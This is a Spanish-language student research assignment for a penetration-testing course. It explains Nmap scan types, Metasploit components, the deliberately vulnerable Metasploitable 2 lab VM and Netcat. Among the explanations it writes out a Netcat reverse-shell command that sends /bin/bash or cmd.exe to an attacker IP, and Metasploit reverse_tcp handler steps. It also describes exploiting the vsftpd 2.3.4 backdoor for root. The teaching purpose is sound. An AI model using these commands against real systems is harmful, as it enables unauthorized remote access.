



CYBERCLASS

Capacitando el presente para el futuro

Participante: Joanlis Abreu Rodriguez
Técnico: Ciberseguridad
Módulo: Pruebas de Penetracion
Facilitador: Kevin Feliz Hernandez
Centro: Cyberclass
Práctica: Investigación
Descripción: Investigar



1. Nmap (Network Mapper)

¿Qué tipos de escaneo se pueden realizar con Nmap?

Nmap ofrece decenas de técnicas de escaneo. Las más comunes y utilizadas en auditorías son:

- **TCP SYN Scan (-sS):** El escaneo por defecto y el más popular ("semi-abierto"). Envía un paquete SYN; si recibe SYN-ACK, sabe que el puerto está abierto y responde con un RST para no establecer la conexión completa. Es rápido y sigiloso.
- **TCP Connect Scan (-sT):** Realiza la conexión completa de tres vías (Three-way handshake). Se usa cuando el usuario no tiene privilegios de administrador para enviar paquetes crudos. Deja más rastro en los logs del objetivo.
- **UDP Scan (-sU):** Escanea puertos UDP (como DNS, DHCP, SNMP). Es mucho más lento porque los puertos UDP no siempre responden para confirmar que están cerrados.
- **FIN, NULL y Xmas Scans (-sF, -sN, -sX):** Escaneos avanzados que manipulan los flags TCP para evadir firewalls antiguos o sistemas de detección de intrusos (IDS).
- **Escaneo de Servicios y Versiones (-sV):** Determina qué aplicación exacta y qué versión está corriendo en un puerto abierto.

¿Cómo puedes identificar el sistema operativo del objetivo usando Nmap?

Se utiliza el parámetro **-O** (o también el parámetro global **-A**, que incluye detección de OS, versiones y scripts).

- **Comando básico:** `nmap -O [IP_Objeto]`
- **Cómo funciona:** Nmap envía una serie de paquetes TCP y UDP modificados al objetivo y analiza las respuestas. Cada sistema operativo (Windows, Linux, macOS, etc.) implementa la pila de red TCP/IP con sutiles diferencias (valores TTL, tamaño de ventana, etc.). Nmap compara estas huellas (*fingerprints*) con su base de datos interna para determinar el sistema operativo y su versión con un porcentaje de probabilidad.
-

2. Metasploit Framework

¿Qué es Metasploit y cuáles son sus componentes principales?

Metasploit es el framework de pruebas de penetración y explotación más utilizado del mundo. Permite descubrir, explotar y validar vulnerabilidades de forma automatizada o semi-manual.

Sus componentes principales dentro de la arquitectura de archivos son:

- **Exploits:** Módulos diseñados para aprovechar una vulnerabilidad específica en un sistema y permitir la ejecución de código no autorizado.
- **Payloads:** El código que se ejecuta en la máquina víctima *después* de que el exploit tiene éxito (por ejemplo, abrir una consola de comandos).
- **Auxiliary:** Módulos para realizar tareas secundarias que no explotan el sistema directamente, como escaneo de puertos, fuzzing, recolección de información (OSINT) o ataques de denegación de servicio.
- **Post:** Módulos de post-explotación que se ejecutan una vez que ya estás dentro del objetivo (recopilar contraseñas, buscar archivos, persistencia).
- **Encoders:** Herramientas para modificar el código del payload con el fin de evadir la detección de antivirus o sistemas IDS/IPS.
- **NOPs:** Generadores de instrucciones que no hacen nada (No Operation) para rellenar espacio en la memoria y estabilizar los ataques de desbordamiento de búfer (buffer overflow).

¿Cómo puedes buscar exploits específicos en Metasploit?

Una vez dentro de la consola de Metasploit (msfconsole), se utiliza el comando **search** seguido de palabras clave, el identificador CVE, el nombre del software o la vulnerabilidad.

- **Ejemplos:**
 - search eternalblue (Busca por nombre popular del exploit).
 - search cve:2017-0144 (Busca por código de vulnerabilidad específico).
 - search platform:windows type:exploit smb (Filtra la búsqueda para mostrar solo exploits de Windows que afecten al protocolo SMB).
 -

¿Qué es un payload y cómo se utiliza en una explotación?

Un **payload** es la carga útil; es el software o comando que quieres que la máquina víctima ejecute una vez que el exploit ha abierto la brecha de seguridad.

- **Cómo se utiliza:** El exploit vulnera la seguridad del sistema y crea un "agujero" en la memoria del equipo objetivo; acto seguido, inyecta el payload en ese agujero. El payload toma el control y le da las órdenes al atacante (por ejemplo, crear un usuario administrador, descargar un archivo o abrir una sesión remota).

¿Cómo puedes establecer una conexión reversa con Metasploit?

Una conexión reversa (Reverse Shell) consiste en hacer que la máquina víctima se conecte hacia la máquina del atacante, evadiendo así los firewalls que bloquean conexiones entrantes.

1. Seleccionas un payload reverso (el más común es **windows/meterpreter/reverse_tcp** o **linux/x86/shell_reverse_tcp**).
2. Configuras el módulo **multi/handler** en Metasploit, que actúa como el receptor que se queda escuchando la conexión.
3. Defines los parámetros obligatorios:
 - SET LHOST [Tu_IP_Atacante] (La IP a la que la víctima debe conectarse de vuelta).
 - SET LPORT [Tu_Puerto] (El puerto local donde estarás escuchando, ej. 4444).
4. Ejecutas el comando exploit o run. Cuando el objetivo ejecute el payload, se conectará a tu equipo y obtendrás la sesión.

3. Metasploitable 2

¿Qué es Metasploitable 2 y por qué se utiliza en pentesting?

Metasploitable 2 es una máquina virtual basada en Linux (Ubuntu) intencionalmente diseñada para ser **altamente vulnerable**. Se utiliza en pentesting como un entorno de laboratorio seguro y legal para practicar técnicas de escaneo, enumeración, explotación y post-explotación sin el riesgo de dañar sistemas reales ni infringir la ley.

¿Qué servicios vulnerables están disponibles en Metasploitable 2?

Viene cargada con una enorme cantidad de servicios obsoletos y mal configurados. Algunos de los más notables son:

- **FTP (vsftpd 2.3.4):** Contiene una famosa puerta trasera (*backdoor*) que da acceso de root si introduces una carita feliz :) en el nombre de usuario.
- **SSH:** Configurado con credenciales débiles por defecto (ej. msfadmin:msfadmin).
- **Samba (SMB):** Versión antigua vulnerable al exploit *usermap_script*, que permite ejecución remota de comandos como root.
- **Java RMI Server:** Vulnerable a la ejecución de código debido a una configuración insegura por defecto.
- **UnrealIRCd:** Servicio de chat que contiene una puerta trasera de ejecución de comandos.
- **Bases de datos:** MySQL y PostgreSQL accesibles y mal configuradas.
- **Aplicaciones web:** Aloja herramientas vulnerables como DVWA (Damn Vulnerable Web Application) y Mutillidae para practicar inyecciones SQL y XSS.

¿Cómo puedes identificar puertos abiertos en Metasploitable 2?

Utilizando un escaneo básico de Nmap desde tu máquina de ataque hacia la IP de Metasploitable 2:

- `nmap -sV [IP_Metasploitable_2]`
Esto no solo te dirá qué puertos están abiertos, sino que te mostrará las versiones exactas de los servicios vulnerables listados arriba.
-

¿Qué configuraciones debes realizar para ejecutar Metasploitable 2 correctamente?

- **Red Interna / Host-Only (Solo-Anfitrión):** Es **crítico** configurar la tarjeta de red de la máquina virtual en modo "Red Interna" o "Anfitrión" en VirtualBox o VMware. **Nunca la dejes en modo Puente (Bridge) ni expuesta a Internet**, ya que cualquier persona en tu red pública o en internet podría hackear la máquina fácilmente debido a su extrema vulnerabilidad.
- **Recursos:** Consume muy pocos recursos; asignarle 512 MB o 1 GB de RAM y 1 CPU es más que suficiente.

4. Netcat (La navaja suiza de las redes)

¿Qué es Netcat y para qué se utiliza?

Netcat (nc) es una herramienta de redes de línea de comandos que permite leer y escribir datos a través de conexiones de red utilizando los protocolos TCP o UDP. Se utiliza para diagnóstico de redes, transferir archivos, escanear puertos, interactuar con banners de servicios y, en pentesting, para crear shells directas y reversas.

¿Qué diferencias existen entre los modos de escucha (-l) y de conexión activa?

- **Modo de escucha (Listening - -l):** Netcat actúa como un **servidor**. Se queda esperando de brazos cruzados en un puerto específico a que otra máquina se conecte a él.
 - *Comando:* nc -lvp 4444 (Escucha en el puerto 4444 de forma informativa/verbose).
- **Modo de conexión activa:** Netcat actúa como un **cliente**. Inicia activamente una conexión hacia una IP y puerto específicos que ya están abiertos en otra máquina.
 - *Comando:* nc [IP_Objetivo] 4444

¿Cómo puedes usar Netcat para escanear puertos?

Netcat puede realizar escaneos TCP o UDP rápidos usando el parámetro -z (modo Zero-I/O, no envía datos, solo verifica si el puerto está abierto) y el parámetro -w (timeout para definir cuántos segundos esperar respuesta).

- **Comando:** nc -zv [IP_Objetivo] 20-80
(Escanea los puertos del 20 al 80 en la IP asignada de forma detallada).

¿Cómo se establece una conexión reversa con Netcat?

Para lograr esto, el atacante debe preparar su máquina para recibir la conexión y la víctima debe enviarla ejecutando su consola (/bin/bash en Linux o cmd.exe en Windows) a través de Netcat.

1. En la máquina del Atacante (Escucha):

nc -lvp 4444

2. En la máquina de la Víctima (Conexión activa que envía la consola con el parámetro -e):

nc [IP_Atacante] 4444 -e /bin/bash (o -e cmd.exe en Windows).

(Nota: Muchas versiones modernas de Netcat tienen el parámetro -e deshabilitado por motivos de seguridad; en esos casos se suelen usar tuberías o pipelines de Linux/named pipes para redirigir el tráfico).

¿Qué vulnerabilidades puedes explotar con herramientas básicas como Netcat?

Netcat no automatiza exploits, pero sirve para interactuar directamente con servicios vulnerables descubiertos:

- **Exploitar Backdoors manuales:** Como el fallo de *vsftpd 2.3.4* en Metasploitable 2. Te conectas al puerto 21 con Netcat, provocas el fallo enviando el usuario correspondiente, y luego usas otra instancia de Netcat para conectarte al puerto de la puerta trasera generado (6200) para obtener acceso root.
- **Banners/Information Disclosure:** Conectarte a un puerto HTTP, SMTP o FTP y enviar comandos de texto plano para forzar al sistema a decirte qué software y versión exacta corre para luego buscar un exploit público en internet.

¿Cuáles son las limitaciones de Netcat en comparación con otras herramientas de pentesting?

Aunque es increíblemente versátil, Netcat tiene serias desventajas operativas:

- **No cifra el tráfico:** Todo lo que escribes y transmites viaja en texto plano por la red (cualquiera con Wireshark puede ver tus comandos y contraseñas). *Nota: Para mitigar esto existe su evolución cifrada llamada **Ncat** (de Nmap) o Cryptcat.*
- **Sesiones de shell inestables:** Las conexiones de consola con Netcat son frágiles. Si presionas accidentalmente Ctrl + C o cometes un error de sintaxis, la conexión se rompe inmediatamente y tienes que volver a ejecutar todo el proceso en la máquina víctima. No soporta atajos de teclado de forma nativa (como el tabulador para autocompletar).
- **Falta de automatización:** No automatiza ataques complejos, no gestiona múltiples sesiones concurrentes ni escala privilegios automáticamente como sí lo hace el agente *Meterpreter* de Metasploit.